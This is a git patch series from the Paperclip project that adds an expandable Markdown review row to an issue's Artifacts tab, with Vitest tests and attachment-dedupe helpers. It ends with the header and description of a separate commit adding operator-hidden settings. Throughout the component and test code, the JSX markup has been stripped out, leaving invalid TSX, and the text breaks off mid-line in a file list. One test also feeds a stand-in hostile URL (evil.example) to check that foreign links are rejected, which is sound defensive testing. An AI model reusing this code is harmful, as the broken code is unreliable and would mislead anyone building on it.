@@ export function IssueProperties({ // no longer summon the tab. const hasArtifactsTab = (paneTabWorkProducts?.length ?? 0) > 0 - || (paneTabDocuments?.length ?? 0) > 0 + || paneTabStandaloneDocuments.length > 0 || selectAgentArtifactAttachments(paneTabAttachments, paneTabWorkProducts).length > 0; const [paneTab, setPaneTab] = useState("properties"); // Once a plan document exists, surface it: switch the pane to the Plan tab so diff --git a/ui/src/components/issue-properties/IssuePropertiesArtifactsTab.tsx b/ui/src/components/issue-properties/IssuePropertiesArtifactsTab.tsx index 4d8ca4749e8..dea4ed8a2cc 100644 --- a/ui/src/components/issue-properties/IssuePropertiesArtifactsTab.tsx +++ b/ui/src/components/issue-properties/IssuePropertiesArtifactsTab.tsx @@ -1,10 +1,22 @@ import { useEffect, useRef, useState } from "react"; import type { CSSProperties } from "react"; -import { useQuery } from "@tanstack/react-query"; -import type { Issue, IssueDocument, IssueWorkProduct } from "@paperclipai/shared"; +import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; +import type { + AttachmentArtifactWorkProductMetadata, + Issue, + IssueDocument, + IssueWorkProduct, +} from "@paperclipai/shared"; +import { + MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES, + artifactReviewDocumentKey, + getMarkdownWorkProductAttachmentMetadata, + isArtifactReviewDocumentKey, +} from "@paperclipai/shared"; import { ChevronDown, ChevronRight, + Download, ExternalLink, FileText, GitBranch, @@ -15,6 +27,7 @@ import { Server, } from "lucide-react"; import type { LucideIcon } from "lucide-react"; +import { ApiError } from "@/api/client"; import { issuesApi } from "@/api/issues"; import { queryKeys } from "@/lib/queryKeys"; import { useIssueDocuments } from "@/hooks/useIssueDocuments"; @@ -122,6 +135,186 @@ function WorkProductRow({ workProduct }: { workProduct: IssueWorkProduct }) { return
    {body}
    ; } +/** + * Work-product row for an eligible Markdown artifact (LOOA-1533 gap): expands + * in place into the shipped document review surface backed by the + * server-materialized `artifact-review-` issue document instead + * of opening the raw attachment. Raw open and download stay as explicit + * secondary actions. + */ +function MarkdownWorkProductRow({ + issueId, + workProduct, + metadata, + reviewDoc, + openRequestId, +}: { + issueId: string; + workProduct: IssueWorkProduct; + metadata: AttachmentArtifactWorkProductMetadata; + reviewDoc: IssueDocument | undefined; + openRequestId?: number; +}) { + const [expanded, setExpanded] = useState(false); + const [annotationPanelOpen, setAnnotationPanelOpen] = useState(false); + const headerRef = useRef(null); + const location = useLocation(); + const queryClient = useQueryClient(); + const badge = workProductStatusBadge(workProduct.status); + const Chevron = expanded ? ChevronDown : ChevronRight; + const tooLarge = metadata.byteSize > MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES; + + const ensure = useMutation({ + mutationFn: () => issuesApi.ensureWorkProductReviewDocument(issueId, workProduct.id), + onSuccess: async () => { + await queryClient.invalidateQueries({ queryKey: queryKeys.issues.documents(issueId) }); + }, + }); + + const requestPreview = () => { + if (reviewDoc || tooLarge) return; + if (ensure.isPending || ensure.isSuccess || ensure.isError) return; + ensure.mutate(); + }; + + const handleToggle = () => { + setExpanded((open) => { + if (!open) requestPreview(); + return !open; + }); + }; + + useEffect(() => { + if (openRequestId === undefined) return; + setExpanded(true); + }, [openRequestId]); + useEffect(() => { + if (openRequestId === undefined || !expanded) return; + headerRef.current?.scrollIntoView({ behavior: "smooth", block: "center" }); + }, [expanded, openRequestId]); + // Deep links land before the user clicks, so the deep-link expansion has to + // request materialization the same way a manual expand does. + useEffect(() => { + if (openRequestId === undefined) return; + requestPreview(); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [openRequestId, reviewDoc]); + + const unsupportedError = + ensure.error instanceof ApiError && [413, 415, 422].includes(ensure.error.status); + + let expandedBody: React.ReactNode; + if (tooLarge) { + expandedBody = ( +

    + This Markdown file is too large to preview. Use Raw or Download instead. +

    + ); + } else if (reviewDoc) { + expandedBody = reviewDoc.body.trim().length > 0 ? ( + + {reviewDoc.body} + + ) : ( +

    Document is empty.

    + ); + } else if (ensure.isError) { + expandedBody = ( +
    +

    + {unsupportedError + ? "This file can't be previewed as Markdown. Use Raw or Download instead." + : "Preview failed to load."} +

    + {!unsupportedError ? ( + + ) : null} +
    + ); + } else { + expandedBody =

    Preparing preview…

    ; + } + + return ( +
    +
    + + {reviewDoc ? ( + setAnnotationPanelOpen((open) => !open)} + /> + ) : null} + + + + + + +
    + {expanded ? ( +
    {expandedBody}
    + ) : null} +
    + ); +} + function DocumentRow({ issueId, doc, @@ -215,7 +408,10 @@ export function IssuePropertiesArtifactsTab({ issue, documentDeepLink }: IssuePr const { data: documents } = useIssueDocuments(issue.id); const workProductRows = workProducts ?? []; - const documentRows = documents ?? []; + // Proxy review documents (`artifact-review-*`) present only through their + // originating Work product row, never as standalone Documents rows. + const documentRows = (documents ?? []).filter((doc) => !isArtifactReviewDocumentKey(doc.key)); + const reviewDocsByKey = new Map((documents ?? []).map((doc) => [doc.key, doc])); const fileRows = selectAgentArtifactAttachments(attachments, workProducts); if (workProductRows.length === 0 && documentRows.length === 0 && fileRows.length === 0) { @@ -232,11 +428,30 @@ export function IssuePropertiesArtifactsTab({ issue, documentDeepLink }: IssuePr <> Work products
      - {workProductRows.map((wp) => ( -
    • - -
      • - ))} + {workProductRows.map((wp) => { + const markdownMetadata = getMarkdownWorkProductAttachmentMetadata(wp); + if (!markdownMetadata) { + return ( +
    • + +
      • + ); + } + const reviewKey = artifactReviewDocumentKey(wp.id); + return ( +
    • + +
      • + ); + })}
    ) : null} diff --git a/ui/src/components/issue-properties/IssuePropertiesMarkdownWorkProduct.test.tsx b/ui/src/components/issue-properties/IssuePropertiesMarkdownWorkProduct.test.tsx new file mode 100644 index 00000000000..b8c640daf6b --- /dev/null +++ b/ui/src/components/issue-properties/IssuePropertiesMarkdownWorkProduct.test.tsx @@ -0,0 +1,344 @@ +// @vitest-environment jsdom + +import { flushSync } from "react-dom"; +import { createRoot, type Root } from "react-dom/client"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import type { Issue, IssueAttachment, IssueDocument, IssueWorkProduct } from "@paperclipai/shared"; +import { artifactReviewDocumentKey } from "@paperclipai/shared"; +import { IssuePropertiesArtifactsTab } from "./IssuePropertiesArtifactsTab"; +import { ApiError } from "@/api/client"; + +const mockIssuesApi = vi.hoisted(() => ({ + listAttachments: vi.fn(async (): Promise => []), + listWorkProducts: vi.fn(async (): Promise => []), + ensureWorkProductReviewDocument: vi.fn(async (): Promise => ({})), +})); +vi.mock("@/api/issues", () => ({ issuesApi: mockIssuesApi })); + +const mockUseIssueDocuments = vi.hoisted(() => + vi.fn((): { data: IssueDocument[] } => ({ data: [] })), +); +vi.mock("@/hooks/useIssueDocuments", () => ({ useIssueDocuments: mockUseIssueDocuments })); +vi.mock("@/lib/router", () => ({ useLocation: () => ({ hash: "" }) })); +vi.mock("@/components/MarkdownBody", () => ({ + MarkdownBody: ({ children }: { children: string }) => ( +
    {children}
    + ), +})); +vi.mock("@/components/IssueDocumentAnnotations", () => ({ + DocumentAnnotationsCountChip: ({ docKey }: { docKey: string }) => ( + + ), + IssueDocumentAnnotations: ({ doc, children }: { doc: IssueDocument; children: React.ReactNode }) => ( +
    {children}
    + ), +})); + +const ATTACHMENT_ID = "00000000-0000-4000-8000-000000000001"; +const WORK_PRODUCT_ID = "11111111-1111-4111-8111-111111111111"; +const REVIEW_KEY = artifactReviewDocumentKey(WORK_PRODUCT_ID); + +const issue = { id: "issue-1", identifier: "PAP-1534", workMode: "standard" } as Issue; + +function makeMarkdownWorkProduct(overrides: Partial = {}): IssueWorkProduct { + const contentPath = `/api/attachments/${ATTACHMENT_ID}/content`; + return { + id: WORK_PRODUCT_ID, + companyId: "company-1", + projectId: null, + issueId: "issue-1", + executionWorkspaceId: null, + runtimeServiceId: null, + type: "artifact", + provider: "paperclip", + externalId: null, + title: "Verification report", + url: null, + status: "ready_for_review", + reviewState: "none", + isPrimary: false, + healthStatus: "unknown", + summary: null, + metadata: { + attachmentId: ATTACHMENT_ID, + contentType: "text/markdown", + byteSize: 64, + contentPath, + openPath: contentPath, + downloadPath: `${contentPath}?download=1`, + originalFilename: "report.md", + }, + createdByRunId: null, + createdAt: new Date("2026-08-01T12:00:00Z"), + updatedAt: new Date("2026-08-01T12:00:00Z"), + ...overrides, + } as IssueWorkProduct; +} + +function makeReviewDocument(overrides: Partial = {}): IssueDocument { + return { + id: "document-1", + companyId: "company-1", + issueId: "issue-1", + key: REVIEW_KEY, + title: "Verification report", + format: "markdown", + body: "# Report\n\nRendered body", + latestRevisionId: "revision-1", + latestRevisionNumber: 1, + createdByAgentId: null, + createdByUserId: null, + updatedByAgentId: null, + updatedByUserId: null, + lockedAt: null, + lockedByAgentId: null, + lockedByUserId: null, + createdAt: new Date("2026-08-01T12:00:00Z"), + updatedAt: new Date("2026-08-01T12:00:00Z"), + ...overrides, + } as IssueDocument; +} + +function makeMarkdownAttachment(): IssueAttachment { + return { + id: ATTACHMENT_ID, + companyId: "company-1", + issueId: "issue-1", + issueCommentId: null, + assetId: "asset-1", + provider: "local", + objectKey: `objects/${ATTACHMENT_ID}`, + contentType: "text/markdown", + byteSize: 64, + sha256: "0".repeat(64), + originalFilename: "report.md", + createdByAgentId: "agent-1", + createdByUserId: null, + createdAt: new Date("2026-08-01T12:00:00Z"), + updatedAt: new Date("2026-08-01T12:00:00Z"), + contentPath: `/api/attachments/${ATTACHMENT_ID}/content`, + } as IssueAttachment; +} + +async function act(callback: () => void | Promise) { + let result: void | Promise = undefined; + flushSync(() => { + result = callback(); + }); + await result; +} + +async function flush() { + await act(async () => { + await new Promise((resolve) => setTimeout(resolve, 0)); + }); +} + +async function waitForAssertion(assertion: () => void, attempts = 20) { + let lastError: unknown; + for (let attempt = 0; attempt < attempts; attempt += 1) { + try { + assertion(); + return; + } catch (error) { + lastError = error; + await flush(); + } + } + throw lastError; +} + +describe("markdown work product review row", () => { + let container: HTMLDivElement; + let root: Root | null = null; + + beforeEach(() => { + vi.clearAllMocks(); + container = document.createElement("div"); + document.body.appendChild(container); + Element.prototype.scrollIntoView = vi.fn(); + mockIssuesApi.listAttachments.mockResolvedValue([]); + mockIssuesApi.listWorkProducts.mockResolvedValue([makeMarkdownWorkProduct()]); + mockUseIssueDocuments.mockReturnValue({ data: [] }); + }); + + afterEach(async () => { + if (root) { + const currentRoot = root; + await act(async () => currentRoot.unmount()); + root = null; + } + container.remove(); + }); + + async function renderTab(props: { documentDeepLink?: { requestId: number; documentKey: string } | null } = {}) { + const queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + root = createRoot(container); + const currentRoot = root; + await act(async () => + currentRoot.render( + + + , + ), + ); + await waitForAssertion(() => { + expect(container.textContent).toContain("Verification report"); + }); + } + + function expandButton() { + return container.querySelector('button[aria-expanded]') as HTMLButtonElement; + } + + it("renders an expandable row with explicit raw and download actions", async () => { + await renderTab(); + + expect(expandButton().textContent).toContain("Verification report"); + const raw = container.querySelector('a[title="Open raw"]') as HTMLAnchorElement; + const download = container.querySelector('a[title="Download"]') as HTMLAnchorElement; + expect(raw?.getAttribute("href")).toBe(`/api/attachments/${ATTACHMENT_ID}/content`); + expect(raw?.getAttribute("target")).toBe("_blank"); + expect(download?.getAttribute("href")).toBe(`/api/attachments/${ATTACHMENT_ID}/content?download=1`); + }); + + it("expands into the existing document surface without a server call when the document exists", async () => { + mockUseIssueDocuments.mockReturnValue({ data: [makeReviewDocument()] }); + await renderTab(); + + // The proxy document maps onto the work-product row instead of a + // standalone Documents row. + expect(container.textContent).not.toContain("Documents"); + expect(container.querySelector(`[data-testid="annotation-count-${REVIEW_KEY}"]`)).not.toBeNull(); + + await act(async () => expandButton().click()); + expect( + container.querySelector(`[data-testid="annotation-surface-${REVIEW_KEY}"]`)?.getAttribute("data-document-id"), + ).toBe("document-1"); + expect(container.querySelector('[data-testid="markdown-body"]')?.textContent).toContain("Rendered body"); + expect(mockIssuesApi.ensureWorkProductReviewDocument).not.toHaveBeenCalled(); + }); + + it("materializes the document on first expand", async () => { + mockIssuesApi.ensureWorkProductReviewDocument.mockResolvedValue(makeReviewDocument()); + await renderTab(); + + await act(async () => expandButton().click()); + expect(container.textContent).toContain("Preparing preview…"); + await waitForAssertion(() => { + expect(mockIssuesApi.ensureWorkProductReviewDocument).toHaveBeenCalledWith("issue-1", WORK_PRODUCT_ID); + }); + expect(mockIssuesApi.ensureWorkProductReviewDocument).toHaveBeenCalledTimes(1); + }); + + it("shows an unsupported state without retry for typed rejections", async () => { + mockIssuesApi.ensureWorkProductReviewDocument.mockRejectedValue( + new ApiError("Work product attachment is not Markdown", 415, {}), + ); + await renderTab(); + + await act(async () => expandButton().click()); + await waitForAssertion(() => { + expect(container.textContent).toContain("can't be previewed as Markdown"); + }); + expect(container.textContent).not.toContain("Retry"); + }); + + it("offers an explicit retry for recoverable errors", async () => { + mockIssuesApi.ensureWorkProductReviewDocument.mockRejectedValue( + new ApiError("Internal error", 500, {}), + ); + await renderTab(); + + await act(async () => expandButton().click()); + await waitForAssertion(() => { + expect(container.textContent).toContain("Preview failed to load."); + }); + + const retry = Array.from(container.querySelectorAll("button")).find( + (button) => button.textContent === "Retry", + ); + expect(retry).toBeDefined(); + await act(async () => retry?.click()); + await waitForAssertion(() => { + expect(mockIssuesApi.ensureWorkProductReviewDocument).toHaveBeenCalledTimes(2); + }); + }); + + it("marks oversized markdown as too large without calling the server", async () => { + mockIssuesApi.listWorkProducts.mockResolvedValue([ + makeMarkdownWorkProduct({ + metadata: { + ...(makeMarkdownWorkProduct().metadata as Record), + byteSize: 512 * 1024 + 1, + }, + }), + ]); + await renderTab(); + + await act(async () => expandButton().click()); + expect(container.textContent).toContain("too large to preview"); + expect(mockIssuesApi.ensureWorkProductReviewDocument).not.toHaveBeenCalled(); + }); + + it("expands from a document deep link and requests materialization", async () => { + mockIssuesApi.ensureWorkProductReviewDocument.mockResolvedValue(makeReviewDocument()); + await renderTab({ documentDeepLink: { documentKey: REVIEW_KEY, requestId: 1 } }); + + await waitForAssertion(() => { + expect(container.querySelector('button[aria-expanded="true"]')).not.toBeNull(); + expect(mockIssuesApi.ensureWorkProductReviewDocument).toHaveBeenCalledTimes(1); + expect(Element.prototype.scrollIntoView).toHaveBeenCalledWith({ behavior: "smooth", block: "center" }); + }); + }); + + it("hides the promoted markdown attachment from Files but keeps loose attachments", async () => { + const loose = { + ...makeMarkdownAttachment(), + id: "22222222-2222-4222-8222-222222222222", + originalFilename: "loose-notes.md", + contentPath: "/api/attachments/22222222-2222-4222-8222-222222222222/content", + }; + mockIssuesApi.listAttachments.mockResolvedValue([makeMarkdownAttachment(), loose]); + await renderTab(); + + await waitForAssertion(() => { + expect(container.textContent).toContain("loose-notes.md"); + }); + expect(container.textContent).not.toContain("report.md"); + const looseLink = Array.from(container.querySelectorAll("a")).find( + (anchor) => anchor.textContent?.includes("loose-notes.md"), + ); + expect(looseLink?.getAttribute("href")).toBe("/api/attachments/22222222-2222-4222-8222-222222222222/content"); + }); + + it("keeps non-markdown work products on the raw link row", async () => { + const contentPath = `/api/attachments/${ATTACHMENT_ID}/content`; + mockIssuesApi.listWorkProducts.mockResolvedValue([ + makeMarkdownWorkProduct({ + metadata: { + attachmentId: ATTACHMENT_ID, + contentType: "application/pdf", + byteSize: 64, + contentPath, + openPath: contentPath, + downloadPath: `${contentPath}?download=1`, + originalFilename: "report.pdf", + }, + }), + ]); + await renderTab(); + + await waitForAssertion(() => { + const row = Array.from(container.querySelectorAll("a")).find( + (anchor) => anchor.textContent?.includes("Verification report"), + ); + expect(row?.getAttribute("href")).toBe(contentPath); + expect(row?.getAttribute("target")).toBe("_blank"); + }); + expect(container.querySelector("button[aria-expanded]")).toBeNull(); + }); +}); diff --git a/ui/src/components/issue-properties/IssuePropertiesPlansTab.tsx b/ui/src/components/issue-properties/IssuePropertiesPlansTab.tsx index 1a5f90ea4c1..b3458fbaa41 100644 --- a/ui/src/components/issue-properties/IssuePropertiesPlansTab.tsx +++ b/ui/src/components/issue-properties/IssuePropertiesPlansTab.tsx @@ -1,6 +1,7 @@ import { useState } from "react"; import { useQuery } from "@tanstack/react-query"; import type { Issue, IssueDocument, IssueThreadInteraction } from "@paperclipai/shared"; +import { isArtifactReviewDocumentKey } from "@paperclipai/shared"; import { issuesApi } from "@/api/issues"; import { queryKeys } from "@/lib/queryKeys"; import { IssuePlanDecompositionsSection } from "@/components/IssuePlanDecompositionsSection"; @@ -92,8 +93,11 @@ export function IssuePropertiesPlansTab({ issue }: IssuePropertiesPlansTabProps) const hasPlans = (data?.length ?? 0) > 0; const pendingPlanConfirmation = hasPendingPlanConfirmation(interactions); // Every other non-system document (e.g. `synthesis`) renders below the plan; - // the `plan` doc itself stays on its dedicated annotated surface above. - const otherDocuments = (documents ?? []).filter((doc) => doc.key !== "plan"); + // the `plan` doc itself stays on its dedicated annotated surface above, and + // proxy `artifact-review-*` documents surface only through their Work product. + const otherDocuments = (documents ?? []).filter( + (doc) => doc.key !== "plan" && !isArtifactReviewDocumentKey(doc.key), + ); if (!planDocument && !hasPlans && otherDocuments.length === 0) { return ( diff --git a/ui/src/lib/issue-artifacts.test.ts b/ui/src/lib/issue-artifacts.test.ts index 026cff47399..42dc6d3ee8b 100644 --- a/ui/src/lib/issue-artifacts.test.ts +++ b/ui/src/lib/issue-artifacts.test.ts @@ -2,6 +2,7 @@ import { describe, expect, it } from "vitest"; import type { IssueAttachment, IssueWorkProduct } from "@paperclipai/shared"; import { documentDisplayTitle, + getAttachmentBackedWorkProductAttachmentIds, isAgentAttachment, selectAgentArtifactAttachments, workProductHref, @@ -112,6 +113,54 @@ describe("selectAgentArtifactAttachments", () => { it("tolerates missing inputs", () => { expect(selectAgentArtifactAttachments(null, null)).toEqual([]); }); + + it("dedupes markdown attachments promoted to work products", () => { + // Markdown is excluded from the binary Output surface, so this dedupe must + // not depend on getPromotedOutputAttachmentIds (LOOA-1533 duplicate rows). + const promotedId = "00000000-0000-4000-8000-000000000002"; + const promoted = makeAttachment({ + id: promotedId, + createdByAgentId: "agent-1", + contentType: "text/markdown", + originalFilename: "report.md", + }); + const workProduct = makePromotingWorkProduct(promotedId); + workProduct.metadata = { + ...(workProduct.metadata as Record), + contentType: "text/markdown", + originalFilename: "report.md", + }; + expect(selectAgentArtifactAttachments([promoted], [workProduct])).toEqual([]); + }); +}); + +describe("getAttachmentBackedWorkProductAttachmentIds", () => { + it("collects attachment ids across content types", () => { + const imageId = "00000000-0000-4000-8000-000000000001"; + const markdownId = "00000000-0000-4000-8000-000000000002"; + const markdownWorkProduct = makePromotingWorkProduct(markdownId); + markdownWorkProduct.metadata = { + ...(markdownWorkProduct.metadata as Record), + contentType: "text/markdown", + originalFilename: "report.md", + }; + const ids = getAttachmentBackedWorkProductAttachmentIds([ + makePromotingWorkProduct(imageId), + markdownWorkProduct, + ]); + expect(ids).toEqual(new Set([imageId, markdownId])); + }); + + it("ignores non-canonical or non-paperclip work products", () => { + const attachmentId = "00000000-0000-4000-8000-000000000003"; + const foreign = { ...makePromotingWorkProduct(attachmentId), provider: "github" }; + const invalid = { + ...makePromotingWorkProduct(attachmentId), + metadata: { attachmentId, openPath: "https://evil.example/content" }, + }; + expect(getAttachmentBackedWorkProductAttachmentIds([foreign, invalid])).toEqual(new Set()); + expect(getAttachmentBackedWorkProductAttachmentIds(null)).toEqual(new Set()); + }); }); describe("workProductHref", () => { diff --git a/ui/src/lib/issue-artifacts.ts b/ui/src/lib/issue-artifacts.ts index 7563638c499..f3f3d8a6d1f 100644 --- a/ui/src/lib/issue-artifacts.ts +++ b/ui/src/lib/issue-artifacts.ts @@ -1,5 +1,5 @@ import type { IssueAttachment, IssueDocumentSummary, IssueWorkProduct } from "@paperclipai/shared"; -import { getPromotedOutputAttachmentIds } from "./issue-output"; +import { getAttachmentArtifactWorkProductMetadata } from "@paperclipai/shared"; /** * Selectors for the properties pane's Artifacts tab (PAP-491): which @@ -19,6 +19,23 @@ export function isAgentAttachment( return !attachment.createdByUserId && !attachment.issueCommentId; } +/** + * Attachment ids owned by valid attachment-backed Paperclip work products. + * Unlike `getPromotedOutputAttachmentIds`, this includes document-like content + * types (e.g. Markdown) that the binary Output surface intentionally excludes, + * so it is the right dedupe set for the Artifacts tab's Files section. + */ +export function getAttachmentBackedWorkProductAttachmentIds( + workProducts: IssueWorkProduct[] | null | undefined, +): Set { + const ids = new Set(); + for (const workProduct of workProducts ?? []) { + const metadata = getAttachmentArtifactWorkProductMetadata(workProduct); + if (metadata) ids.add(metadata.attachmentId); + } + return ids; +} + /** * Agent-authored attachments minus the ones already promoted to * attachment-backed work products (`metadata.attachmentId`), so the Artifacts @@ -28,7 +45,7 @@ export function selectAgentArtifactAttachments( attachments: IssueAttachment[] | null | undefined, workProducts: IssueWorkProduct[] | null | undefined, ): IssueAttachment[] { - const promoted = getPromotedOutputAttachmentIds(workProducts); + const promoted = getAttachmentBackedWorkProductAttachmentIds(workProducts); return (attachments ?? []).filter( (attachment) => isAgentAttachment(attachment) && !promoted.has(attachment.id), ); diff --git a/ui/src/lib/issue-attachments.ts b/ui/src/lib/issue-attachments.ts index a7725275221..3f2b4167a50 100644 --- a/ui/src/lib/issue-attachments.ts +++ b/ui/src/lib/issue-attachments.ts @@ -1,12 +1,7 @@ import type { IssueAttachment } from "@paperclipai/shared"; +import { isMarkdownAttachmentContent } from "@paperclipai/shared"; import { isVideoLikeOutput } from "./issue-output"; -const GENERIC_ATTACHMENT_CONTENT_TYPES = new Set([ - "application/octet-stream", - "binary/octet-stream", - "application/x-binary", -]); - type AttachmentPathLike = { contentPath: string; openPath?: string; @@ -42,17 +37,5 @@ export function isVideoAttachment( export function isMarkdownAttachment( attachment: Pick, ) { - const contentType = normalizedContentType(attachment); - if ( - contentType === "text/markdown" || - contentType === "text/x-markdown" || - contentType === "application/markdown" || - contentType === "application/x-markdown" - ) { - return true; - } - - const filename = (attachment.originalFilename ?? "").toLowerCase(); - if (!filename.endsWith(".md") && !filename.endsWith(".markdown")) return false; - return contentType === "text/plain" || GENERIC_ATTACHMENT_CONTENT_TYPES.has(contentType); + return isMarkdownAttachmentContent(attachment); } From db4defdfbfc704d93678071db2e9afa86cdde3fa Mon Sep 17 00:00:00 2001 From: Devin Foley Date: Thu, 20 Aug 2026 17:54:44 -0700 Subject: [PATCH 7/8] feat: operator-configurable settings visibility via PAPERCLIP_HIDDEN_SETTINGS (#11823) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Thinking Path > - Paperclip is the open source app people use to manage AI agents for work > - The instance settings surface (Access, Plugins, Adapters, General, Experimental) assumes the person at the keyboard operates the whole instance > - Operators who host Paperclip for others — a managed cloud or an internal shared server — expose settings pages and toggles that do not apply to their deployment, and the related mutation APIs stay open > - A hosted tenant can open Plugins or Adapters, try an action, and hit a confusing failure, because only a few hardcoded platform floors exist > - This pull request adds a generic, operator-configured visibility mechanism: one env var hides declared settings surfaces in the UI and floors their mutation routes with a stable 403 code > - The benefit is a clean hosted-tenant settings surface for any operator, with zero behavior change for normal self-hosted instances ## Linked Issues or Issue Description **Subsystem affected** Instance settings (server routes and UI), the shared settings registry in `packages/shared`, and the `/api/health` bootstrap payload. **Problem or motivation** An operator who hosts Paperclip for other people cannot hide settings surfaces that the platform manages. Tenants see Access, Plugins, and Adapters pages, backup retention, and host-level experimental toggles that do nothing useful for them. The mutation APIs behind these surfaces also stay open, so a tenant admin can attempt actions the platform must control. ROADMAP.md names a cleaner shared deployment story as a goal ("Teams should be able to run the same product in hosted or semi-hosted environments without changing the mental model"). **Proposed solution** Add a declarative registry of hideable settings surfaces and one env var, `PAPERCLIP_HIDDEN_SETTINGS`. The server parses the list at boot, reports it on `/api/health`, and rejects value-changing writes to hidden surfaces with a stable `settings_operator_managed` 403 code. The UI reads the list from the health payload and removes the hidden pages, sections, and toggles from navigation, routes, and page content. Unknown keys warn and are ignored, so one list can roll across a fleet with mixed app versions. With the variable unset, behavior is byte-identical to today. **Alternatives considered** - Hardcode the hidden set for cloud instances in this repo: rejected, because each hosting operator needs a different policy, and policy does not belong in shared code. - Deliver the hidden set through the managed-config document: rejected, because that channel is cloud-specific and fail-closed on unknown fields; a plain env var works for any operator, including self-hosted shared servers. - Lock the controls with a badge instead of hiding them: rejected for these surfaces, because they are meaningless to tenants, not merely platform-controlled; the existing managed-overlay lock stays the right tool for controlled flags. **Roadmap alignment** Supports the "shared deployment story" item in ROADMAP.md: hosted and semi-hosted deployments keep the same product with a settings surface that matches what the tenant can actually do. ## What Changed - New `packages/shared/src/settings-visibility.ts`: registry of hideable surfaces (every instance settings page — profile, environments, access, heartbeats, experimental, plugins, adapters; every Instance → General section; every experimental flag as `instance.experimental.`), the `PAPERCLIP_HIDDEN_SETTINGS` parser, and the `settings_operator_managed` error code. The General page stays visible as the settings root and redirect target. - New `server/src/services/settings-visibility.ts`: parse-once accessor; unknown keys log one warning and are ignored. - `/api/health` reports `hiddenSettings` on every response shape; the field is omitted when nothing is hidden. - Server floors on hidden surfaces, with same-value echo tolerance (the `executionMode` precedent): field-backed general sections and experimental keys reject value-changing PATCHes, and hiding the whole Experimental page floors every toggle; plugin lifecycle and config writes, adapter management writes, and the Access admin routes (reads included) return 403 `settings_operator_managed`. Reads the app itself needs (plugin `ui-contributions`, adapter metadata, plugin job trigger) stay open. Pages without instance-scoped mutation routes are hidden in the UI only. - UI: new `useHiddenSettings` hook and `HiddenSettingsPageGate` route gate (hidden pages redirect to the settings root); the settings sidebar and tab bar drop hidden entries; remembered settings paths remap to the default page; `InstanceGeneralSettings` skips hidden sections; every `ExperimentalToggleCard` now carries its flag key and renders nothing when hidden. - Removed the dead `InstanceSidebar` component (referenced only by its own test). - Docs: `docs/deploy/environment-variables.md` documents the variable and the key registry. ## Verification - `pnpm vitest run` over the new and extended suites: shared registry and parser, representative floor tests per route class (changed-value 403, same-value echo 200, unset env 200, page-level Experimental hiding), the health field, the route gate, nav filtering, and section/card hiding with one hidden example per surface kind — 168 tests pass. - Full root `pnpm typecheck` passes. - Manual: booted a server with the variable set. `/api/health` lists the keys; an unknown key logs one warning and the server boots; hidden pages redirect; hidden sections and cards do not render; hidden-field PATCH returns 403 with `details.code = "settings_operator_managed"`; a same-value echo returns 200. Unset the variable: the full settings surface returns and responses are byte-identical to master. ## Risks - Low risk for self-hosted instances: with the variable unset, the hidden set is empty, the health field is omitted, and no floor activates. - Flooring plugin config writes assumes hosted deployments configure plugins through the platform. If a future bundled plugin needs tenant-entered config, the floor needs a narrow carve-out. - Hidden-key floors tolerate same-value echoes, so API clients that round-trip full GET responses keep working. - Hiding a toggle does not change its value; operators pair hiding with the desired default where the value matters. ## Model Used Claude Fable 5 (Anthropic, `claude-fable-5`) with extended thinking and agentic tool use, driven through the Claude Code CLI (file edits, test execution, and live-server verification loops). ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template - [x] I have not referenced internal/instance-local Paperclip issues or links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip` URLs) - [x] My branch name describes the change (e.g. `docs/...`, `fix/...`) and contains no internal Paperclip ticket id or instance-derived details - [x] I have run tests locally and they pass - [x] I have added or updated tests where applicable - [x] I have updated relevant documentation to reflect my changes - [x] I have considered and documented any risks above - [ ] All Paperclip CI gates are green - [ ] Greptile is 5/5 with no open P2s, recommendations, or follow-ups - [x] I will address all Greptile and reviewer comments before requesting merge --- docs/deploy/environment-variables.md | 27 ++ packages/shared/src/index.ts | 17 ++ .../shared/src/settings-visibility.test.ts | 73 +++++ packages/shared/src/settings-visibility.ts | 136 +++++++++ .../access-routes-hidden-floor.test.ts | 95 ++++++ .../__tests__/adapter-routes-authz.test.ts | 37 +++ server/src/__tests__/health.test.ts | 20 ++ .../instance-settings-routes.test.ts | 119 ++++++++ .../src/__tests__/plugin-routes-authz.test.ts | 54 +++- server/src/routes/access.ts | 21 ++ server/src/routes/adapters.ts | 23 ++ server/src/routes/health.ts | 10 + server/src/routes/instance-settings.ts | 55 ++++ server/src/routes/plugins.ts | 23 ++ server/src/services/settings-visibility.ts | 37 +++ ui/src/App.tsx | 46 ++- ui/src/api/health.ts | 5 + .../CompanySettingsSidebar.test.tsx | 62 ++++ ui/src/components/CompanySettingsSidebar.tsx | 101 +++--- .../HiddenSettingsPageGate.test.tsx | 88 ++++++ ui/src/components/HiddenSettingsPageGate.tsx | 17 ++ ui/src/components/InstanceSidebar.test.tsx | 288 ------------------ ui/src/components/InstanceSidebar.tsx | 66 ---- .../access/CompanySettingsNav.test.tsx | 47 ++- .../components/access/CompanySettingsNav.tsx | 21 +- ui/src/hooks/useHiddenSettings.ts | 27 ++ ui/src/lib/instance-settings.test.ts | 27 ++ ui/src/lib/instance-settings.ts | 20 ++ .../InstanceExperimentalSettings.test.tsx | 52 ++++ ui/src/pages/InstanceExperimentalSettings.tsx | 29 ++ ui/src/pages/InstanceGeneralSettings.test.tsx | 64 ++++ ui/src/pages/InstanceGeneralSettings.tsx | 35 ++- 32 files changed, 1328 insertions(+), 414 deletions(-) create mode 100644 packages/shared/src/settings-visibility.test.ts create mode 100644 packages/shared/src/settings-visibility.ts create mode 100644 server/src/__tests__/access-routes-hidden-floor.test.ts create mode 100644 server/src/services/settings-visibility.ts create mode 100644 ui/src/components/HiddenSettingsPageGate.test.tsx create mode 100644 ui/src/components/HiddenSettingsPageGate.tsx delete mode 100644 